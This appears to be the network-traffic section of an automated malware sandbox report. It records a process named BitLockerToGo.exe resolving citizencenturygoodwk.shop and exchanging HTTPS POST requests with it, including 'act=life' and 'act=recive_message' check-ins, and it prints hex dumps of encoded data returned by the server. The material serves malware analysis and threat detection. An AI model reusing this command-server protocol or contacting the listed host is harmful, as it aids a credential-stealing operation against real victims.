Jul 5, 2024 06:03:13.769941092 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.775295973 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.775321007 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.118318081 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.118351936 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.118447065 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.118897915 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.118907928 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.619733095 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.619805098 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.621114016 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.621119022 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.621373892 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.622585058 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.622740030 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.622767925 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:14.622829914 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:14.622847080 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:15.454097986 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:15.454205036 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:15.454296112 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:15.454576015 CEST	49715	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:15.454597950 CEST	443	49715	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:15.933123112 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:15.933162928 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:15.933255911 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:15.933679104 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:15.933691978 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.406003952 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.406095982 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.407357931 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.407368898 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.407614946 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.408914089 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.409020901 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.409060001 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.795792103 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.795896053 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.795959949 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.796284914 CEST	49717	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.796303034 CEST	443	49717	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.942167044 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.942212105 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:16.942289114 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.942743063 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:16.942760944 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.416043997 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.416110992 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.417448997 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.417455912 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.417735100 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.419117928 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.419254065 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.419260025 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.797710896 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.797816038 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:17.797946930 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.798187017 CEST	49720	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:17.798202038 CEST	443	49720	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.467570066 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.467607975 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.467700958 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.468292952 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.468303919 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.953274965 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.953368902 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.955065966 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.955080986 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.955323935 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.964915991 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.965862989 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.965884924 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966070890 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966114044 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966211081 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966274023 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966371059 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966392994 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966500998 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966531038 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966645956 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966662884 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966674089 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966691971 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.966794968 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.966831923 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977386951 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.977526903 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977557898 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.977581024 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977596045 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977617025 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:18.977663994 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977689981 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977714062 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:18.977749109 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.316454887 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.316566944 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.316679955 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:21.316797972 CEST	49722	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:21.316812992 CEST	443	49722	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.325655937 CEST	49723	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:21.325695038 CEST	443	49723	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.325813055 CEST	49723	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:21.326219082 CEST	49723	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:21.326236010 CEST	443	49723	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:21.685795069 CEST	49723	443	192.168.2.6	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 06:03:09.701284885 CEST	51716	53	192.168.2.6	1.1.1.1
Jul 5, 2024 06:03:09.716104031 CEST	53	51716	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 5, 2024 06:03:09.701284885 CEST	192.168.2.6	1.1.1.1	0x187c	Standard query (0)	citizencenturygoodwk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 5, 2024 06:03:09.716104031 CEST	1.1.1.1	192.168.2.6	0x187c	No error (0)	citizencenturygoodwk.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 5, 2024 06:03:09.716104031 CEST	1.1.1.1	192.168.2.6	0x187c	No error (0)	citizencenturygoodwk.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

citizencenturygoodwk.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:10 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: citizencenturygoodwk.shop
2024-07-05 04:03:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-07-05 04:03:10 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kc38s57cvhottn5qhuvhogkf3o; expires=Mon, 28-Oct-2024 21:49:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lJRSN7C9JDqBdpogjYwJpTjkqPpvOOmIM4PnkqV2oyg06NVD22AXrAA%2FkmWTgJu%2By3ym5RmBvMQCoScgGj5i65kZGr1dOJz9EnO5SgHh6cISFDL4%2FGFr9kvOr0aP33bfJs8QpXNmGmjOnhlO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476b57d854216-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-07-05 04:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:11 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: citizencenturygoodwk.shop
2024-07-05 04:03:11 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 41 4c 55 56 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@SEFYALUV&j=
2024-07-05 04:03:11 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8jgratetiibfvnug6a51r18op6; expires=Mon, 28-Oct-2024 21:49:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YMVElCAdPX41RU2jzA1QQoj2z4SqG2%2BJfWkCj%2FeDvhLLWmjepNdFX%2Fap1HmcNafwxAVd4%2FlfxK%2BwSJ9fszm9M5tfHb12i0tOGE2ZrLA5psCED%2FHAJbbDeXmJGOTFya113ImwFHjJo47JlE3V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476bb0e6c1a17-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:11 UTC	555	IN	Data Raw: 31 36 34 61 0d 0a 6f 56 58 51 49 43 6d 38 44 4a 2f 2b 51 59 69 41 58 61 76 2f 74 4b 4a 78 41 32 30 57 37 69 56 35 2f 72 51 56 59 78 4f 4c 2f 66 4c 61 58 39 6b 43 58 35 34 32 76 38 70 74 67 6f 6c 2f 32 4a 71 57 6d 46 46 33 48 32 4f 4c 43 58 50 33 6c 6e 51 48 4d 62 48 64 6c 4d 41 35 6f 30 55 46 74 67 57 39 6d 7a 6d 71 75 6e 33 77 39 62 32 72 43 69 4e 50 63 34 41 48 51 39 36 57 63 41 6c 78 36 70 47 51 77 44 36 2f 55 45 58 66 5a 50 4f 5a 4b 65 33 6a 4f 63 71 54 32 63 63 55 5a 67 78 38 67 45 77 55 6c 74 6b 33 54 7a 4f 70 6d 49 69 44 62 2f 41 43 5a 4e 6c 34 2f 72 4d 67 2b 2b 74 2f 69 34 4b 59 71 48 67 4b 46 6a 62 4d 51 42 66 63 6a 6a 56 42 63 75 36 66 6e 73 63 78 75 30 68 42 31 47 6a 38 6d 69 76 34 36 54 76 44 6c 39 62 47 47 47 77 48 5a 6f 4a 44 45 35 44 58 65 Data Ascii: 164aoVXQICm8DJ/+QYiAXav/tKJxA20W7iV5/rQVYxOL/fLaX9kCX542v8ptgol/2JqWmFF3H2OLCXP3lnQHMbHdlMA5o0UFtgW9mzmqun3w9b2rCiNPc4AHQ96WcAlx6pGQwD6/UEXfZPOZKe3jOcqT2ccUZgx8gEwUltk3TzOpmIiDb/ACZNl4/rMg++t/i4KYqHgKFjbMQBfcjjVBcu6fnscxu0hB1Gj8miv46TvDl9bGGGwHZoJDE5DXe
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 7a 48 75 6b 39 43 62 64 66 4a 47 53 74 70 76 2b 5a 49 74 37 75 34 35 78 35 44 5a 78 68 6c 68 43 48 36 45 54 78 71 52 33 58 67 42 64 4f 53 62 6c 73 38 32 74 77 49 46 6e 43 37 36 68 47 4f 79 6f 48 2f 6e 6d 74 58 53 55 56 51 4d 65 6f 4a 41 44 64 79 55 61 45 38 5a 67 76 53 4a 67 58 65 31 54 67 75 47 4c 4c 32 53 4a 75 58 77 50 74 75 59 32 4e 49 66 5a 41 6c 35 6a 30 6b 62 6d 64 46 36 44 33 66 75 6e 4a 6a 48 4e 72 78 4f 51 64 31 71 2f 74 78 74 71 4b 49 34 30 64 32 4f 67 6c 4e 51 44 48 43 4c 56 52 69 53 6c 6a 55 65 50 34 48 30 2b 39 70 31 38 6b 56 48 6e 6a 61 2f 33 43 6e 73 37 7a 62 43 6d 74 37 4d 41 57 6f 41 64 34 56 41 48 5a 62 56 66 77 74 33 35 35 36 58 78 6a 43 67 54 45 44 54 62 66 65 61 59 36 53 67 66 38 36 46 6c 70 68 52 49 53 46 33 6e 56 45 70 6e 38 64 6d Data Ascii: zHuk9CbdfJGStpv+ZIt7u45x5DZxhlhCH6ETxqR3XgBdOSbls82twIFnC76hGOyoH/nmtXSUVQMeoJADdyUaE8ZgvSJgXe1TguGLL2SJuXwPtuY2NIfZAl5j0kbmdF6D3funJjHNrxOQd1q/txtqKI40d2OglNQDHCLVRiSljUeP4H0+9p18kVHnja/3Cns7zbCmt7MAWoAd4VAHZbVfwt3556XxjCgTEDTbfeaY6Sgf86FlphRISF3nVEpn8dm
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 4f 64 7a 48 57 48 51 55 58 51 61 65 76 63 59 66 57 73 56 36 4c 32 7a 34 4a 54 5a 67 4d 30 31 41 56 62 6b 4e 39 33 43 6e 76 74 6e 35 66 4f 4d 72 46 46 53 4e 4e 70 39 35 49 6b 37 75 34 32 78 4a 76 57 78 78 64 6b 48 58 47 46 53 78 66 63 6d 44 56 42 64 76 48 66 79 49 46 33 6e 55 56 64 33 55 48 2b 6a 53 71 71 6f 43 43 48 39 62 32 72 43 69 4e 50 63 34 41 48 51 39 36 57 63 41 52 35 34 70 6d 59 77 79 57 33 54 45 44 66 5a 50 75 64 4c 75 62 6b 50 38 69 64 30 4d 77 54 5a 67 68 6d 6e 6b 49 64 6a 74 77 33 54 7a 4f 70 6d 49 69 44 62 2f 41 43 66 63 35 35 37 49 70 68 33 2b 45 78 78 35 72 41 67 46 46 2b 51 52 7a 6e 4c 41 4c 65 6c 6e 41 4e 4d 62 48 64 30 4d 67 33 76 6b 56 44 32 47 72 31 6b 79 7a 6a 38 44 37 46 6b 38 54 48 45 32 67 42 65 34 42 4f 46 70 76 62 66 41 74 38 37 Data Ascii: OdzHWHQUXQaevcYfWsV6L2z4JTZgM01AVbkN93Cnvtn5fOMrFFSNNp95Ik7u42xJvWxxdkHXGFSxfcmDVBdvHfyIF3nUVd3UH+jSqqoCCH9b2rCiNPc4AHQ96WcAR54pmYwyW3TEDfZPudLubkP8id0MwTZghmnkIdjtw3TzOpmIiDb/ACfc557Iph3+Exx5rAgFF+QRznLALelnANMbHd0Mg3vkVD2Gr1kyzj8D7Fk8THE2gBe4BOFpvbfAt87
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 2b 6f 45 78 46 31 32 50 37 6c 43 54 6b 37 7a 54 50 6c 74 48 48 46 57 77 48 65 59 6c 45 47 70 6a 63 5a 51 4a 36 34 35 4b 61 67 33 6e 77 41 6b 7a 47 4c 71 58 65 59 38 33 75 46 74 6d 47 78 4e 5a 54 49 78 41 36 35 43 78 77 68 5a 51 33 42 6e 32 70 78 39 4b 44 4e 4c 31 4c 52 4e 5a 6d 38 70 4d 6e 35 4f 51 35 78 4a 6a 5a 79 67 46 70 41 58 6d 48 53 42 43 4f 31 6e 6f 46 66 65 32 58 6d 38 6c 33 2f 41 41 4c 32 58 61 39 78 47 47 71 31 7a 4c 47 6e 64 58 57 55 79 4d 51 4f 75 51 73 63 49 57 55 4e 77 5a 39 71 63 66 53 67 7a 75 38 51 6b 54 53 59 76 61 55 49 75 62 73 4f 4d 79 55 33 73 67 42 59 41 74 38 6a 55 6b 55 6e 64 4a 79 42 48 58 75 6d 35 62 4d 64 2f 77 41 43 39 6c 32 76 63 52 68 71 73 30 59 2f 4e 2f 33 2b 6c 4d 6a 45 44 72 6b 4c 48 43 46 6c 44 63 47 66 61 6e 48 30 6f Data Ascii: +oExF12P7lCTk7zTPltHHFWwHeYlEGpjcZQJ645Kag3nwAkzGLqXeY83uFtmGxNZTIxA65CxwhZQ3Bn2px9KDNL1LRNZm8pMn5OQ5xJjZygFpAXmHSBCO1noFfe2Xm8l3/AAL2Xa9xGGq1zLGndXWUyMQOuQscIWUNwZ9qcfSgzu8QkTSYvaUIubsOMyU3sgBYAt8jUkUndJyBHXum5bMd/wAC9l2vcRhqs0Y/N/3+lMjEDrkLHCFlDcGfanH0o
2024-07-05 04:03:11 UTC	1052	IN	Data Raw: 53 39 39 74 2b 5a 63 6b 37 4f 51 2b 79 70 6a 56 78 52 56 67 44 33 69 47 51 42 4f 57 32 48 6f 48 64 65 2b 5a 30 49 31 31 38 6b 56 54 6e 6a 61 2f 33 42 48 6e 37 44 62 4b 6d 39 76 57 4f 31 42 50 4e 70 4d 4a 63 2f 65 39 62 6b 4d 78 37 70 50 51 6d 33 58 79 52 6b 44 57 59 76 69 55 4a 75 76 71 4e 63 47 53 32 64 49 53 62 67 5a 7a 68 30 6f 55 6b 74 4e 35 45 33 62 69 6c 4a 6a 4b 4f 62 51 43 42 5a 77 75 2b 6f 52 6a 73 71 42 2f 2f 35 37 59 79 77 4a 75 44 48 6a 4d 42 51 54 53 76 68 78 71 61 4b 76 66 6c 38 39 33 36 67 41 4c 31 47 58 35 6e 79 66 76 37 54 37 49 6d 38 54 48 47 6e 4d 42 65 59 4e 50 45 35 58 58 63 77 52 38 37 35 4f 61 77 6a 43 38 54 45 4f 65 49 4c 2f 63 4a 50 4b 69 5a 34 76 64 39 39 41 49 63 78 6c 35 72 55 6f 55 33 4a 52 6f 54 78 6d 43 39 49 6d 42 64 37 56 Data Ascii: S99t+Zck7OQ+ypjVxRVgD3iGQBOW2HoHde+Z0I118kVTnja/3BHn7DbKm9vWO1BPNpMJc/e9bkMx7pPQm3XyRkDWYviUJuvqNcGS2dISbgZzh0oUktN5E3bilJjKObQCBZwu+oRjsqB//57YywJuDHjMBQTSvhxqaKvfl8936gAL1GX5nyfv7T7Im8THGnMBeYNPE5XXcwR875OawjC8TEOeIL/cJPKiZ4vd99AIcxl5rUoU3JRoTxmC9ImBd7V
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 33 61 39 36 0d 0a 65 57 78 48 67 4e 65 65 32 62 6b 63 34 7a 75 6b 39 48 33 6d 72 39 6d 53 44 6e 34 33 2b 48 33 35 62 48 43 79 46 58 4e 73 78 78 48 4a 50 45 65 51 59 78 71 34 44 65 71 31 7a 5a 57 77 6d 65 61 66 48 63 65 36 69 69 4d 4d 57 5a 33 63 51 55 5a 51 5a 33 68 45 49 57 6d 4e 39 32 43 58 6a 75 6b 4a 76 46 50 4c 46 46 53 74 4e 76 38 5a 55 72 37 65 68 2f 68 39 2b 57 78 77 73 68 56 7a 62 4d 63 52 79 45 39 6e 6f 62 4d 61 75 41 33 71 74 63 32 56 73 4a 6e 6d 6e 78 33 48 75 6f 6f 6a 48 45 6d 39 66 42 47 32 6b 50 63 6f 5a 44 47 4a 58 56 63 41 68 33 34 70 79 61 7a 44 43 30 52 6b 76 56 61 66 4f 61 4a 75 48 72 66 34 66 66 6c 73 63 4c 49 56 63 32 7a 47 45 34 6a 73 52 46 44 33 4c 79 33 39 4c 63 65 64 6f 70 49 4d 63 73 76 5a 73 76 71 72 70 39 69 5a 62 65 7a 77 46 Data Ascii: 3a96eWxHgNee2bkc4zuk9H3mr9mSDn43+H35bHCyFXNsxxHJPEeQYxq4Deq1zZWwmeafHce6iiMMWZ3cQUZQZ3hEIWmN92CXjukJvFPLFFStNv8ZUr7eh/h9+WxwshVzbMcRyE9nobMauA3qtc2VsJnmnx3HuoojHEm9fBG2kPcoZDGJXVcAh34pyazDC0RkvVafOaJuHrf4fflscLIVc2zGE4jsRFD3Ly39LcedopIMcsvZsvqrp9iZbezwF
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 67 63 30 6e 39 4e 38 41 44 50 4f 6d 5a 66 50 64 2f 42 64 42 62 59 46 6c 6f 56 68 71 75 55 7a 69 63 57 55 67 42 42 6c 41 58 32 44 51 78 47 62 31 6e 41 48 63 65 47 55 6e 63 67 6c 74 30 78 4f 33 32 37 38 6b 79 2f 71 38 44 72 48 6c 74 76 45 55 79 39 4e 4e 49 74 66 57 38 53 55 4e 79 46 79 36 4a 61 43 77 44 61 37 41 67 6e 42 49 4a 58 33 53 50 4f 67 66 38 36 52 6c 70 68 52 49 51 70 33 69 30 45 55 6c 4e 42 7a 44 6e 37 71 6c 5a 72 44 50 37 56 47 53 74 35 72 2f 70 45 74 34 4f 67 38 78 5a 50 56 7a 52 31 68 54 7a 72 4f 42 78 79 45 6c 69 39 44 4d 63 71 49 68 73 6b 73 38 67 42 55 6b 41 61 57 39 7a 71 6f 6f 6a 6a 46 33 59 36 43 55 32 77 49 65 6f 52 42 46 5a 72 45 65 77 35 33 36 5a 36 61 7a 6a 75 35 52 55 58 56 61 50 69 52 49 2b 7a 6b 4f 38 32 5a 32 4d 4e 54 4c 30 30 30 Data Ascii: gc0n9N8ADPOmZfPd/BdBbYFloVhquUzicWUgBBlAX2DQxGb1nAHceGUncglt0xO3278ky/q8DrHltvEUy9NNItfW8SUNyFy6JaCwDa7AgnBIJX3SPOgf86RlphRIQp3i0EUlNBzDn7qlZrDP7VGSt5r/pEt4Og8xZPVzR1hTzrOBxyEli9DMcqIhsks8gBUkAaW9zqoojjF3Y6CU2wIeoRBFZrEew536Z6azju5RUXVaPiRI+zkO82Z2MNTL000
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 79 45 48 32 6f 61 39 74 48 34 71 46 79 72 4b 69 43 31 42 62 32 4b 59 37 4b 67 62 59 66 31 76 61 74 34 49 52 30 30 31 41 56 62 32 39 56 6c 45 33 66 71 69 5a 4f 45 43 59 78 42 58 64 4e 68 39 70 30 64 31 4d 77 79 79 4a 37 59 67 69 4a 33 41 6d 53 50 51 68 79 69 36 48 6b 47 5a 65 36 52 6c 73 4e 33 2f 43 6f 67 74 51 57 39 6b 32 4f 79 6f 41 61 4a 31 5a 62 2f 58 51 6c 6b 48 2b 63 48 41 39 79 4f 4e 55 46 45 36 70 47 65 78 43 47 6a 44 32 6a 49 59 2f 4b 58 49 71 71 73 56 36 4c 32 76 59 41 56 49 56 63 32 33 41 6c 7a 39 37 30 63 51 58 58 34 33 38 69 42 5a 2b 41 5a 48 6f 30 35 72 63 35 4c 67 59 6b 67 68 2f 57 39 71 77 6f 4a 5a 42 2f 6e 42 77 33 63 6a 6a 56 54 50 34 48 30 2b 36 68 33 6f 41 49 54 6e 43 36 36 6b 69 37 72 34 54 48 4b 6a 38 54 47 45 48 63 4d 4d 37 4a 35 4f Data Ascii: yEH2oa9tH4qFyrKiC1Bb2KY7KgbYf1vat4IR001AVb29VlE3fqiZOECYxBXdNh9p0d1MwyyJ7YgiJ3AmSPQhyi6HkGZe6RlsN3/CogtQW9k2OyoAaJ1Zb/XQlkH+cHA9yONUFE6pGexCGjD2jIY/KXIqqsV6L2vYAVIVc23Alz970cQXX438iBZ+AZHo05rc5LgYkgh/W9qwoJZB/nBw3cjjVTP4H0+6h3oAITnC66ki7r4THKj8TGEHcMM7J5O
2024-07-05 04:03:11 UTC	1369	IN	Data Raw: 52 5a 75 62 66 33 71 74 63 32 53 6b 4c 32 43 36 6c 33 6e 47 6b 69 6c 53 69 39 70 62 45 41 69 46 58 4e 74 77 56 51 4d 6d 46 49 46 45 6a 67 66 54 37 33 48 6e 61 4b 53 44 48 42 70 62 33 53 4b 72 30 66 35 48 66 68 49 35 37 43 6d 51 66 7a 46 56 62 78 4a 51 33 52 6e 4c 37 6a 5a 62 41 49 62 45 46 64 65 42 4a 38 35 73 69 2f 50 49 6f 78 74 4c 34 39 6a 4a 66 4d 57 47 50 53 52 57 62 77 47 5a 42 50 34 48 30 2b 36 68 33 76 51 49 54 6e 46 65 39 31 47 50 56 72 46 65 69 39 72 32 41 43 79 46 58 4e 73 78 79 47 4a 4c 59 63 42 64 67 70 4c 69 65 78 44 61 6b 55 6c 7a 52 49 64 4f 71 41 71 71 73 56 36 4c 32 76 59 41 56 49 56 63 32 33 67 6c 7a 39 37 30 63 51 58 58 34 33 38 69 42 5a 2b 41 5a 48 6f 30 35 72 63 35 4c 67 59 6b 67 68 2f 57 39 71 77 6f 4a 5a 42 2f 6e 42 77 33 63 6a 6a Data Ascii: 